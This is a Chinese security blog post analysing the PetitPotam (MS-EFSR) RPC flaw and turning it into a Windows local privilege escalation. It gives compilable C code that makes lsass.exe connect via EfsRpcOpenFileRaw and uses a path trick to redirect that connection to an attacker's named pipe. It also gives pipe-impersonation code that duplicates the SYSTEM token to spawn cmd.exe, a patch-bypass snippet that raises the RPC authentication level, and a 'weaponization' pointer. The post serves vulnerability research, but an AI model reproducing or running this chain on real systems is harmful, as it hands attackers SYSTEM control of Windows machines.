PetitPotam漏洞以及本地提权利用分析
前言:PetitPotam漏洞以及本地提权利用分析笔记
参考文章:https://github.com/silverf0x/RpcView
参考文章:https://www.cnblogs.com/zpchcbd/p/17944418
参考文章:https://itm4n.github.io/fuzzing-windows-rpc-rpcview/
参考文章:https://itm4n.github.io/from-rpcview-to-petitpotam/
参考文章:https://github.com/wh0amitz/PetitPotato
参考文章:https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/4a25b8e1-fd90-41b6-9301-62ed71334436
参考文章:https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/ccc4fb75-1c86-41d7-bbc4-b278ec13bfb8
参考文章:https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/jj852166(v=ws.11)
参考文章:https://learn.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-access-named-pipes-that-can-be-accessed-anonymously
参考文章:https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rpce/425a7c53-c33a-4868-8e5b-2a850d40dc73
RPCView环境搭建
RpcView能够枚举计算机上运行的所有 RPC 服务器,并在非常简洁的 GUI(图形用户界面)中提供所有收集的信息。
RpcView 的官方存储库在下面这个地址中,对于每次提交都会通过AppVeyor自动构建一个新版本,但是访问对应的AppVeyor下载编译的二进制文件的时候会发现存在过期的情况,如下图所示
https://github.com/silverf0x/RpcView
这边的话只能自己将相关的工程放到AppVeyor来进行编译,这边先将作者的工程进行fork一份,然后进行上传编译二进制文件,如下图所示
编译完了直接AppVeyor会自动打包Artifacts文件,然后这边的话就可以直接进行下载了
这边打开的话是正常运行的,但是有个问题就是对应的RPC接口中的Procedures
栏目中并不能直接看到公开的所有过程或函数,只包含地址,这是因为没有PDB(程序数据库)文件存在所以解析不出来,如下图所示
通过symchk来下载当前电脑中系统dll对应的符号链接pdb文件
symchk /s srv*D:\SYMBOLS*https://msdl.microsoft.com/download/symbols C:\Windows\System32\*.dll
下载完成之后,在RPCView中的Options > Configure
栏目中导入对应的符号链接srv*D\SYMBOLS
,如下图所示
MS-EFSR RPC协议
MS-EFSRPC(Encrypting File System Remote Protocol)是Windows操作系统中的一种加密文件系统协议。它提供了一种安全的方式来保护文件和文件夹,以确保只有授权用户能够访问。MS-EFSRPC协议在Windows Server 2003和Windows XP中首次引入,目前已经得到广泛的应用。
MS-EFSRPC协议基于RPC(Remote Procedure Call)协议,主要用于对加密文件系统的访问进行控制和管理。它定义了一组远程过程调用(RPC)接口,用于在客户端和服务器之间传输加密密钥和访问权限信息,以及对加密文件的加密和解密操作。
MS-EFSRPC协议包括以下几个主要部分:
- EfsRpcOpenFileRaw、EfsRpcReadFileRaw、EfsRpcWriteFileRaw等RPC接口,用于在客户端和服务器之间进行文件的打开、读取、写入等操作。
- EfsRpcAddUsers、EfsRpcRemoveUsers、EfsRpcQueryUsers等RPC接口,用于管理加密文件的访问授权。
- EfsRpcGetUserInfo、EfsRpcSetUserInfo等RPC接口,用于获取和设置用户的加密密钥。
- EfsRpcEncryptFile、EfsRpcDecryptFile等RPC接口,用于对加密文件进行加密和解密操作。
匿名访问权限
参考文章:https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/jj852166(v=ws.11)
参考文章:https://learn.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-access-named-pipes-that-can-be-accessed-anonymously
MS-EFSR的调用有通过\pipe\lsarpc
和\pipe\efsrpc
两种方法
-
\pipe\lsarpc
的RPC接口对应的UUID是[c681d488-d850-11d0-8c52-00c04fd90f7e]
-
\pipe\efsrpc
的RPC接口对应的UUID是[df1941c5-fe89-4e79-bf10-463657acf44d]
但是通过efsrpc的方式并不支持,也就是说无法以普通用户的身份来调用该接口的方法,而\pipe\lsarpc
则可以,因此在构造过程中我们通常使用\pipe\lsarpc
接口
早期08,12的机器的时候\pipe\lsarpc
还是可以正常匿名进行访问的,后期到16的时候也基本就不行了,默认的话也不允许匿名访问,这个时候在域攻击中想要利用的时候还需要一个已知的匿名用户,下面的图是在win10和win11的情况,此时的\pipe\lsarpc
已经无法正常匿名访问
PetitPotam漏洞
lsass.exe
进程中存在一个uuid为c681d488-d850-11d0-8c52-00c04fd90f7e
的RPC接口,其中存在如下几个执行文件操作的方法调用
调用当前RPC接口的进程为lsass.exe
,是一个SYSTEM权限,具体该函数是在efslsaext.dll
中的实现,如下图所示
这边可以调用上面这几个函数进行测试,RPCView提供了生成对应RPC接口的IDL文件供我们使用,右键对应的uuid接口Decompile
即可生成,如下图所示
知识点:
-
对于RPCView提供的生成接口IDL文件的功能并不是100%正确,在此过程中不可避免地会丢失一些信息,例如结构名称,这里的话还需要我们根据对应官方接口提供的传参函数类型来进行修正(如果官方文档中有对应的IDL文件的话)。
-
如果在已知要调用的函数情况下(并不是挖掘未公开RPC接口),可以直接采取官方的
Appendix A
,直接用官方的IDL文件来生成.h和.c文件来调用即可,如下图所示
这边上面Decompile的生成的efsr.idl进行编译,然后导入到当前项目中,分别如下所示
-
efsr_h
-
efsr_c.c
-
efsr_s.c
这边本地创建一个maic.c,然后编译进行测试,第一次编译报错出现如下所示
对于MIDL_user_allocate
以及MIDL_user_free
这两个函数在efsr_c.c或者efsr_s.c使用的时候有用到,但是默认RPCView生成的时候是不会带入反编译带入进去的,所以自己这边手动添加下就可以了,如下图所示
#include "efsr_h.h"
#include<Windows.h>
void __RPC_FAR* __RPC_USER midl_user_allocate(size_t cBytes)
{
return((void __RPC_FAR*) malloc(cBytes));
}
void __RPC_USER midl_user_free(void __RPC_FAR* p)
{
free(p);
}
int wmain(int argc, wchar_t* argv[]) {
return 0;
}
接着继续编译,如下图所示,出现NdrClientCall3
以及NdrClientCall2
的问题,实际上就是申明了当前函数,但是在链接obj为二进制文件的时候出现错误,因为链接器找不到该函数的具体实现导致报错。
这边的话需要通过#pragma comment(lib, "RpcRT4.lib")
指令来告诉链接器在链接的时候往RpcRT4.lib
里面进行寻找,现在的编译就正常了,如下图所示
这边接着看下这个c681d488-d850-11d0-8c52-00c04fd90f7e
接口中的EfsRpcOpenFileRaw
的定义,通过下面的参考文章可以知道官方对于EfsRpcOpenFileRaw
函数的传参情况
这里还有发现一个问题就是官方对于EfsRpcOpenFileRaw和RPCView生成的EfsRpcOpenFileRaw传参情况不太一样,如下图所示
碰到这种情况的话,我们需要对IDL文件进行手动修正,让RPCView生成的函数传参情况对其官方文档,在原来的基础上加上[in]handle_t arg_0,
,如下图所示,其他要调用的函数如果跟官方文档定义不同的话也是一样进行修正操作
这边同样的,在EfsRpcOpenFileRaw中的filename参数是支持unc路径的形式去请求,如下图所示
漏洞利用
main.c
#pragma once
#include "efsr_h.h"
#include <strsafe.h>
#include <Windows.h>
#pragma comment(lib, "RpcRT4.lib")
void __RPC_FAR* __RPC_USER midl_user_allocate(size_t cBytes)
{
return((void __RPC_FAR*) malloc(cBytes));
}
void __RPC_USER midl_user_free(void __RPC_FAR* p)
{
free(p);
}
int wmain(int argc, wchar_t* argv[]) {
RPC_STATUS status;
RPC_WSTR StringBinding;
RPC_BINDING_HANDLE Binding;
//RpcStringBindingComposeW
status = RpcStringBindingCompose(
NULL,
(RPC_WSTR)L"ncacn_np",
(RPC_WSTR)L"\\\\127.0.0.1",
(RPC_WSTR)L"\\pipe\\lsass", NULL, &StringBinding);
if (status != RPC_S_OK) {
printf("[-] RpcStringBindingComposeW() Error: %i\n", GetLastError());
return status;
}
wprintf(L"[*] RpcStringBindingCompose status code: %d\r\n", status);
//RpcBindingFromStringBindingW
status = RpcBindingFromStringBinding(
StringBinding, // Previously created string binding
&Binding // Output binding handle
);
if (status != RPC_S_OK) {
printf("[-] RpcBindingFromStringBindingW() Error: %i\n", GetLastError());
return status;
}
wprintf(L"[*] RpcBindingFromStringBinding status code: %d\r\n", status);
status = RpcStringFree(&StringBinding);
if (status != RPC_S_OK) {
printf("[-] RpcStringFreeW() Error: %i\n", GetLastError());
return status;
}
wprintf(L"[*] RpcStringFree status code: %d\r\n", status);
RpcTryExcept
{
// Invoke remote procedure here
PVOID pContext;
LPWSTR pwszFilePath;
long result;
pwszFilePath = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
StringCchPrintf(pwszFilePath, MAX_PATH, L"\\\\localhost\\C$\\Workspace\\foo123.txt");
wprintf(L"[*] Invoking EfsRpcOpenFileRaw with target path: %ws\r\n", pwszFilePath);
result = Proc0_EfsRpcOpenFileRaw_Downlevel(Binding, &pContext, pwszFilePath, 0);
wprintf(L"[*] EfsRpcOpenFileRaw status code: %d\r\n", result);
LocalFree(pwszFilePath);
}
RpcExcept(EXCEPTION_EXECUTE_HANDLER);
{
wprintf(L"Exception: %d - 0x%08x\r\n", RpcExceptionCode(), RpcExceptionCode());
}
RpcEndExcept
status = RpcBindingFree(&Binding);
wprintf(L"[*] RpcBindingFree status code: %d\r\n", status);
return 0;
}
这边测试请求\\localhost\C$\Workspace\foo123.txt
路径,结果如下图所示
这边需要注意下就是使用Proc0_EfsRpcOpenFileRaw_Downlevel发起请求的时候,首先lsass.exe是先读取了管道\\localhost\PIPE\srvsvc
,然后再去请求了我们的\\localhost\C$\Workspace\foo123.txt
经测试如果这边指定的访问路径为\\localhost\.\pipe\aaaa
的情况下的话,默认是不会请求到这边的,如下图示所示
所以这边只能尝试去控制\\localhost\PIPE\srvsvc
,在前面PrintSpoofer中用到的路径解析的技巧,该技巧这边PetitPotam中同样也可以用到
这边如果设置为\\localhost/test\\C$\\a.txt
的情况,如下图所示,这边请求的话就是\\localhost\test\PIPE\srvsvc
这边如果设置为\\localhost/pipe/test\\C$\\a.txt
的情况
那么如果模拟一个管道为\\localhost\pipe\test\PIPE\srvsvc
的话就不会跟默认的\\localhost\PIPE\srvsvc
进行冲突了
那这边测试下对指定管道\\localhost\pipe\test\PIPE\srvsvc
发起的请求来进行模拟权限,测试代码如下图所示
代码参考文章:https://www.cnblogs.com/zpchcbd/p/12924637.html
impersonate.c
#include<stdio.h>
#include<windows.h>
int main(int argc, char* argv[]) {
HANDLE hPipe = NULL;
HANDLE tokenHandle = NULL;
HANDLE newtokenHandle = NULL;
STARTUPINFO startupInfo;
startupInfo.cb = sizeof(STARTUPINFO);
PROCESS_INFORMATION processInformation;
wchar_t recv_buf[1024] = { 0 };
ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
hPipe = CreateNamedPipe(L"\\\\.\\pipe\\myServerPipe", PIPE_ACCESS_DUPLEX, PIPE_READMODE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL);
if (hPipe == INVALID_HANDLE_VALUE) {
printf("CreatePipe Failed");
CloseHandle(hPipe);
}
printf("[+] CreateNamedPipe Successfully\n");
//服务端在这里会进行堵塞,等待客户端进行连接
if (ConnectNamedPipe(hPipe, NULL)) {
printf("[+] ConnectNamedPipe Successfully\n");
if (ImpersonateNamedPipeClient(hPipe) == 0) {
printf("[!] Error impersonating client %d\n", GetLastError());
CloseHandle(hPipe);
return -1;
}
printf("[+] ImpersonateNamedPipeClient Successfully\n");
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &tokenHandle)) {
printf("[!] Error opening thread token %d\n", GetLastError());
CloseHandle(hPipe);
return -1;
}
printf("[+] OpenThreadToken Successfully\n");
if (!DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &newtokenHandle)) {
printf("[!] Error duplicating thread token %d\n", GetLastError());
CloseHandle(hPipe);
return -1;
}
printf("[+] DuplicateTokenEx Successfully\n");
if (!CreateProcessWithTokenW(newtokenHandle, LOGON_NETCREDENTIALS_ONLY, NULL, L"cmd.exe", NULL, NULL, NULL, (LPSTARTUPINFOW)&startupInfo, &processInformation)) {
printf("[!] CreateProcessWithTokenW Failed (%d).\n", GetLastError());
CloseHandle(hPipe);
return -1;
}
printf("[+] CreateProcessWithTokenW Successfully\n");
CloseHandle(hPipe);
}
return 0;
}
测试如下图所示,可以看到成功进行模拟了权限
补丁绕过情况
参考文章:https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rpce/425a7c53-c33a-4868-8e5b-2a850d40dc73
4868-8e5b-2a850d40dc73
参考文章:https://github.com/topotam/PetitPotam/commit/c3accf0875729ffabac13692841e0a671f96d0f2
PetitPotam漏洞的核心问题在于攻击者可以利用 Windows 的远程过程调用 (RPC) 接口 MS-EFSRPC 强制目标机器向他们提供 NTLM 认证。Microsoft 最初为此问题提供了一些临时的缓解措施,直到 2021 年 11 月发布了官方补丁。
由于相关补丁的限制,使得旧的PetitPotam无法在新版本的Windows上运行,后面又被原作者发现存在绕过情况,在调用EFS之前可以通过RpcBindingSetAuthInfoW将AuthnLevel设置为RPC_C_AUTHN_LEVEL_PKT_PRIVACY
在最新的系统上有效,如下图所示
// PetitPotam bypass via RPC_C_AUTHN_LEVEL_PKT_PRIVACY: https://github.com/zcgonvh/EfsPotato/pull/5
status = RpcBindingSetAuthInfoW(Binding, (RPC_WSTR)L"\\\\127.0.0.1", RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE, 0, RPC_C_AUTHZ_NONE);
if (status != RPC_S_OK) {
printf("[-] RpcBindingSetAuthInfoW() Error: %i\n", GetLastError());
return status;
}
status = RpcBindingSetOption(Binding, 12, 5000000);
if (status != RPC_S_OK) {
printf("[-] RpcBindingSetOption() Error: %i\n", GetLastError());
return status;
}
武器化
参考文章:https://github.com/crisprss/PrintSpoofer
基于上面的工程修改下对应的PRC调用接口以及对应的函数调用即可,如下图所示
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
2020-01-07 护卫神6588端口提权
2020-01-07 虚拟主机的提权两个小技巧
2020-01-07 teamviewer提权